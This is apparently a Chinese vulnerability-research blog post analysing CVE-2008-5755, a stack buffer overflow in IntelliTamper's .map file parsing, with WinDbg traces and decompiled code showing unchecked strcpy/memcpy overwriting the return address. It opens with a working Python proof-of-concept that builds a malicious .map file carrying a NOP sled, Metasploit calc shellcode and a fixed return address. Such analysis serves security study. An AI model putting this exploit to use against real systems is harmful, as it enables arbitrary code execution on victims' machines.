INTELLITAMPER .map代码执行漏洞(CVE-2008-5755)

作者:k0shl 转载请注明出处:http://whereisk0shl.top


漏洞说明


软件下载:
https://www.exploit-db.com/apps/91891f4b53d5e61e66061454ab87ccc7-intellitamper_v2.07.exe

PoC:

import sys
map_theader = ((("\x23\x23\x23\x20\x53\x49\x54\x45\x4D"
                 "\x41\x50\x31\x20\x49\x4E\x54\x45\x4C"
                 "\x4C\x49\x54\x41\x4D\x50\x45\x52\x0D\x0A"))) #junk
 
map_iheader = "\x46\x49\x4C\x45\x23\x23"
 
# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode = ((("\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc5"
               "\x91\xc1\x60\x83\xeb\xfc\xe2\xf4\x39\x79\x85\x60\xc5\x91\x4a\x25"
               "\xf9\x1a\xbd\x65\xbd\x90\x2e\xeb\x8a\x89\x4a\x3f\xe5\x90\x2a\x29"
               "\x4e\xa5\x4a\x61\x2b\xa0\x01\xf9\x69\x15\x01\x14\xc2\x50\x0b\x6d"
               "\xc4\x53\x2a\x94\xfe\xc5\xe5\x64\xb0\x74\x4a\x3f\xe1\x90\x2a\x06"
               "\x4e\x9d\x8a\xeb\x9a\x8d\xc0\x8b\x4e\x8d\x4a\x61\x2e\x18\x9d\x44"
               "\xc1\x52\xf0\xa0\xa1\x1a\x81\x50\x40\x51\xb9\x6c\x4e\xd1\xcd\xeb"
               "\xb5\x8d\x6c\xeb\xad\x99\x2a\x69\x4e\x11\x71\x60\xc5\x91\x4a\x08"
               "\xf9\xce\xf0\x96\xa5\xc7\x48\x98\x46\x51\xba\x30\xad\x61\x4b\x64"
               "\x9a\xf9\x59\x9e\x4f\x9f\x96\x9f\x22\xf2\xa0\x0c\xa6\x91\xc1\x60"))); # 160 byte
 
header_nop = "\x90"*327
 
retn = "\x7b\x34\x12\x00"+".html\n" # EIP value with 4 byte fix
 
exploit = map_theader + map_iheader + header_nop + shellcode + retn
headers = open("0x.map", "w")
headers.write(exploit)
headers.close()
 
print "\nFile created successfully !";
print "\n\cN4phux.";

测试环境:
windows xp sp3

生成的.map文件需要遵循一定格式,其中shellcode部分可以改成畸形字符串\x41,生成的map文件直接用IntelliTamper打开,可以触发漏洞。


漏洞复现及定位


此漏洞是由于IntelliTamper在读取.map文件时,由于对文件的处理不当,造成某函数调用时超长字符串传入,导致返回地址被覆盖,造成缓冲区溢出。下面对此漏洞进行详细分析。

首先构造poc .map文件,用IntelliTamper打开,读取.map文件,程序崩溃,附加Windbg,到达漏洞现场。

(198.238): Access violation - code c0000005 (!!! second chance !!!)
eax=00176d68 ebx=00000000 ecx=00123400 edx=0012367d esi=00000000 edi=00123a64
eip=41414141 esp=00123604 ebp=00128b78 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
41414141 ??              ???

通过kb回溯堆栈调用。

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
00123600 41414141 41414141 41414141 41414141 0x41414141
00128b78 00000000 00000000 00000000 00000000 0x41414141

可以看到此时堆栈已经被完全破坏了,我们需要回溯到漏洞触发前的情况,在这之前我们可以看一下栈里的情况。

0:000> dc esp l100
00123604  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00123614  41414141 23232341 64644120 656c6946  AAAAA### AddFile
00123624  3a202928 6c694620 31232065 41415b20  () : File #1 [AA
00123634  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00123644  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00123654  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00123664  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00123674  205d4141 65646461 41002e64 41414141  AA] added..AAAAA
00123684  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00123694  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

这样我们使用OD来定位一些关键函数,用来在文件打开时下断点。用OD打开,查看模块间调用,在文件读取时,肯定会有一些文件操作,这样我们找到了一个关键函数ReadFile。

找到的模块间的调用, 条目 5
 地址=004017F7
 反汇编=call dword ptr ds:[<&KERNEL32.ReadFile>]
 目标文件=kernel32.ReadFile

在程序领空中所有call Readfile下断点。

之后F9运行,打开PoC文件,成功中断在一处Call ReadFile处

继续F9,到达漏洞现场,可以确定在之前这处断点是读取.map文件操作,接下来我们就从这点切入开始逐步还原漏洞现场。

漏洞分析

首先我们还是使用Windbg进行分析,在之前定位到的ReadFile下断点。

Breakpoint 0 hit
eax=00123650 ebx=00128b78 ecx=7c9301bb edx=00000282 esi=00000282 edi=00000110
eip=00412ed4 esp=0012360c ebp=001734c0 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
intellitamper+0x12ed4:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
00412ed4 ff1540e04100    call    dword ptr [intellitamper+0x1e040 (0041e040)] ds:0023:0041e040={kernel32!ReadFile (7c801812)}

中断后,单步跟进,发现程序进入了一处循环之中。

这处循环是ReadFile后的一处循环赋值操作,在这里跟进的时候,我发现了循环的一处分支。

.text:00413449                 not     ecx
.text:0041344B                 dec     ecx
.text:0041344C                 cmp     edx, ecx
.text:0041344E                 jnz     loc_413824

在这里分支后有一处比较关键的代码,让我确定了这个循环的功能。

mov     edx, [esp+2644h+var_2624]
mov     ecx, 100h
xor     eax, eax
lea     edi, [esp+2644h+cp]
rep stosd
mov     eax, [esp+2644h+var_2620]
lea     ecx, [esp+2644h+cp]
sub     edx, eax
lea     eax, [esp+eax+2644h+Source]
push    edx             ; Count
push    eax             ; Source
push    ecx             ; Dest
call    _strncpy

这里有一处strncpy的调用,那么我们就在这里下断点来看看这处strcpy的情况。

0:000> bp 00413479
0:000> g
Breakpoint 1 hit
eax=00123a6a ebx=00000000 ecx=00123664 edx=0000025d esi=00000000 edi=00123a64
eip=00413479 esp=00123614 ebp=00128b78 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
intellitamper+0x13479:
00413479 e8622e0000      call    intellitamper+0x162e0 (004162e0)

直接在这里下断,跳过循环,到达这里后,我们根据上面的逻辑可以看到eax此时应该保存的是要赋值的buffer的值,来看看。

0:000> dd eax
00123a6a  41414141 41414141 41414141 41414141
00123a7a  41414141 41414141 41414141 41414141
00123a8a  41414141 41414141 41414141 41414141
00123a9a  41414141 41414141 41414141 41414141
00123aaa  41414141 41414141 41414141 41414141
00123aba  41414141 41414141 41414141 41414141
00123aca  41414141 41414141 41414141 41414141
00123ada  41414141 41414141 41414141 41414141

已经是畸形字符串的buffer了,当这次strncpy的拷贝结束之后,我们来看看栈中的情况。

0:000> dd esp l100
00123614  00123664 00123a6a 0000025d 00126174
00123624  00405d40 00000000 00000406 00000264
00123634  00000000 00123a63 00000000 00000263
00123644  00000006 00000282 00000000 00000282
00123654  00000001 001734c0 00000110 00000282
00123664  41414141 41414141 41414141 41414141
00123674  41414141 41414141 41414141 41414141
00123684  41414141 41414141 41414141 41414141
00123694  41414141 41414141 41414141 41414141
001236a4  41414141 41414141 41414141 41414141
001236b4  41414141 41414141 41414141 41414141
001236c4  41414141 41414141 41414141 41414141
001236d4  41414141 41414141 41414141 41414141
001236e4  41414141 41414141 41414141 41414141

栈中某段已经被41414141填充了,接下来我们继续单步跟进。

0:000> p
eax=00000000 ebx=00000000 ecx=00000000 edx=00000264 esi=00000000 edi=00123a64
eip=0041349a esp=00123610 ebp=00128b78 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
intellitamper+0x1349a:
0041349a 8d4c2454        lea     ecx,[esp+54h]
0:000> p
eax=00000000 ebx=00000000 ecx=00123664 edx=00000264 esi=00000000 edi=00123a64
eip=0041349e esp=00123610 ebp=00128b78 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
intellitamper+0x1349e:
0041349e 50              push    eax
0:000> p
eax=00000000 ebx=00000000 ecx=00123664 edx=00000264 esi=00000000 edi=00123a64
eip=0041349f esp=0012360c ebp=00128b78 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
intellitamper+0x1349f:
0041349f 51              push    ecx
0:000> p
eax=00000000 ebx=00000000 ecx=00123664 edx=00000264 esi=00000000 edi=00123a64
eip=004134a0 esp=00123608 ebp=00128b78 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
intellitamper+0x134a0:
004134a0 55              push    ebp
0:000> p
eax=00000000 ebx=00000000 ecx=00123664 edx=00000264 esi=00000000 edi=00123a64
eip=004134a1 esp=00123604 ebp=00128b78 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
intellitamper+0x134a1:
004134a1 e86ac5ffff      call    intellitamper+0xfa10 (0040fa10)
0:000> p
(3a0.5cc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0015d008 ebx=00000000 ecx=00123400 edx=0012367d esi=00000000 edi=00123a64
eip=41414141 esp=00123604 ebp=00128b78 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
41414141 ??              ???

0041349a地址处的代码,将ecx赋予了一个指针,而这个指针正是指向了畸形字符串,紧接在下面call函数调用后程序跳转到了41414141,那么问题就是处在004134a1的这个call sub_40FA10函数中。

我们进入这个函数分析,在函数末尾处可以看到汇编代码。

mov     ecx, [esp+414h+arg_0]
lea     eax, [esp+414h+Dest]
mov     edx, [ecx+7384h]
push    edx
push    offset aAddfileFileDSA ; "### AddFile() : File #%d [%s] added."
push    eax             ; Dest
call    _sprintf

push offset这里是不是非常熟悉,这里就是之前我们通过esp观察被破坏堆栈填充的数据。那么其实,我们在距离这个call sprintf不远处函数返回的地方下断点,可以看到这个过程。

Breakpoint 0 hit
eax=00176b70 ebx=00000000 ecx=00123400 edx=0012367d esi=00000000 edi=00123a64
eip=0040fcd5 esp=00123600 ebp=00128b78 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
intellitamper+0xfcd5:
0040fcd5 c3              ret
0:000> dd esp
00123600  41414141 41414141 41414141 41414141
00123610  41414141 41414141 23232341 64644120
00123620  656c6946 3a202928 6c694620 31232065
00123630  41415b20 41414141 41414141 41414141
00123640  41414141 41414141 41414141 41414141
00123650  41414141 41414141 41414141 41414141

在ret时,esp已经被41414141占据了,那么返回就会跳转到41414141对应地址的位置,那么我们需要知道这个地方到底是为什么会被覆盖。

实际上这个函数执行完毕后会返回一个指针,我们来看一下函数执行逻辑。

memset((void *)(v9 + 528), 0, 0x100u);
  memset((void *)(v9 + 1810), 0, 0x100u);
  memset((void *)(v9 + 784), 0, 0x400u);
  memset((void *)(v9 + 2072), 0, 0x400u);
  memset((void *)(v9 + 3118), 0, 0x200u);
  memset((void *)(v9 + 12), 0, 0x200u);
  strcpy((char *)(v9 + 12), a2);
  *(_WORD *)(v9 + 3650) = 0;
  if ( (unsigned __int16)sub_4112F0(v9 + 12) == 1 )
    *(_WORD *)(v9 + 3650) = 1;
  sub_40F7F0(a3, &v22, 512);
  v13 = v9 + 12;
  v12 = -1;
  do
  {
    if ( !v12 )
      break;
    v14 = *(_BYTE *)v13++ == 0;
    --v12;
  }
  while ( !v14 );
  v16 = ~v12;
  v19 = (const void *)(v13 - v16);
  v17 = v16;
  v18 = &v22;
  v15 = -1;
  do
  {
    if ( !v15 )
      break;
    v20 = *v18++ == 0;
    --v15;
  }
  while ( !v20 );
  memcpy(v18 - 1, v19, v17);
  sprintf(&Dest, "### AddFile() : File #%d [%s] added.", *(_DWORD *)(a1 + 29572), &v22);
  sub_402680(&Dest);
  return v9;

在之前的strcpy下断点。

Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=ffffffff edx=0015d014 esi=00000000 edi=00123664
eip=0040fc19 esp=001231f0 ebp=0015d008 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
intellitamper+0xfc19:
0040fc19 f2ae            repne scas byte ptr es:[edi]
0:000> dd edi
00123664  41414141 41414141 41414141 41414141
00123674  41414141 41414141 41414141 41414141
00123684  41414141 41414141 41414141 41414141
00123694  41414141 41414141 41414141 41414141
001236a4  41414141 41414141 41414141 41414141
001236b4  41414141 41414141 41414141 41414141
001236c4  41414141 41414141 41414141 41414141
001236d4  41414141 41414141 41414141 41414141
0:000> dd esp
001231f0  00123a64 00000000 00128b78 00000000
00123200  0031017e 00000000 00000000 00123312
00123210  00123254 00000031 00000002 00640062
00123220  7ffdfc00 00000000 001232fc 7ffdfc00
00123230  00000000 02080062 00000045 43000000
00123240  00000062 00000000 00000003 00123376
00123250  00000000 01d18bd9 00123314 4312316c
00123260  00000000 00000000 7ffdfc62 7c930415

在这次strcpy执行完毕后。

0:000> p
eax=00000000 ebx=0000025e ecx=00000097 edx=00123200 esi=0015d014 edi=00123200
eip=0040fc8b esp=001231f0 ebp=0015d008 iopl=0         nv up ei pl nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
intellitamper+0xfc8b:
0040fc8b f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> p
eax=00000000 ebx=0000025e ecx=00000000 edx=00123200 esi=0015d270 edi=0012345c
eip=0040fc8d esp=001231f0 ebp=0015d008 iopl=0         nv up ei pl nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
intellitamper+0xfc8d:
0040fc8d 8bcb            mov     ecx,ebx
0:000> dd esp
001231f0  00123a64 00000000 00128b78 00000000
00123200  41414141 41414141 41414141 41414141
00123210  41414141 41414141 41414141 41414141
00123220  41414141 41414141 41414141 41414141
00123230  41414141 41414141 41414141 41414141
00123240  41414141 41414141 41414141 41414141
00123250  41414141 41414141 41414141 41414141

执行到这个rep movs指令结束后,esp被畸形字符串覆盖,在sprintf下断点,再次到达时。

0:000> bp 0040FCB4
0:000> g
Breakpoint 1 hit
eax=00123400 ebx=0000025e ecx=00128b78 edx=00000001 esi=00167902 edi=0012345e
eip=0040fcb4 esp=001231e0 ebp=00167698 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
intellitamper+0xfcb4:
0040fcb4 e896650000      call    intellitamper+0x1624f (0041624f)

我们来看一下eax此时的值。

0:000> dd eax
00123400  41414141 41414141 41414141 41414141
00123410  41414141 41414141 41414141 41414141
00123420  41414141 41414141 41414141 41414141
00123430  41414141 41414141 41414141 41414141
00123440  41414141 41414141 41414141 41414141
00123450  41414141 41414141 6d74682e 0000006c
00123460  00000000 00000000 00000000 00000000

已经被覆盖了,执行完sprintf后。

0:000> dc ecx
00123400  20232323 46646441 28656c69 203a2029  ### AddFile() : 
00123410  656c6946 20312320 4141415b 41414141  File #1 [AAAAAAA
00123420  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00123430  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00123440  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00123450  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00123460  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

那么我们再回过头,通过之前的逻辑分析,可以发现问题到底出在什么地方。

函数入口,第二个参数 a2
int __cdecl sub_40FA10(int a1, const char *a2, int a3, __int16 a4, __int16 a5, int a6, __int16 a7)

接下来的strcpy
  strcpy((char *)(v9 + 12), a2);
会将第二个参数交给v9+12的指针

紧接着这个指针会交给v13变量
  v13 = v9 + 12;

v13变量处理后会交给v19
   v19 = (const void *)(v13 - v16);
   
而接下来v19会作为source进行memcpy拷贝
 memcpy(v18 - 1, v19, v17);

可以看到整个过程没有对传入参数进行长度判断,从而导致了返回地址被覆盖,缓冲区溢出的发生。


总结


此漏洞是由于对.map文件读取后,没有对读取内容进行长度检查,而直接传入函数进行处理,在处理过程中,仍然没有进行长度检测就执行strcpy以及memcpy这类敏感操作,从而导致了返回地址被覆盖,通过精确利用返回地址,可以达到远程执行任意代码的目的。

Comments
Write a Comment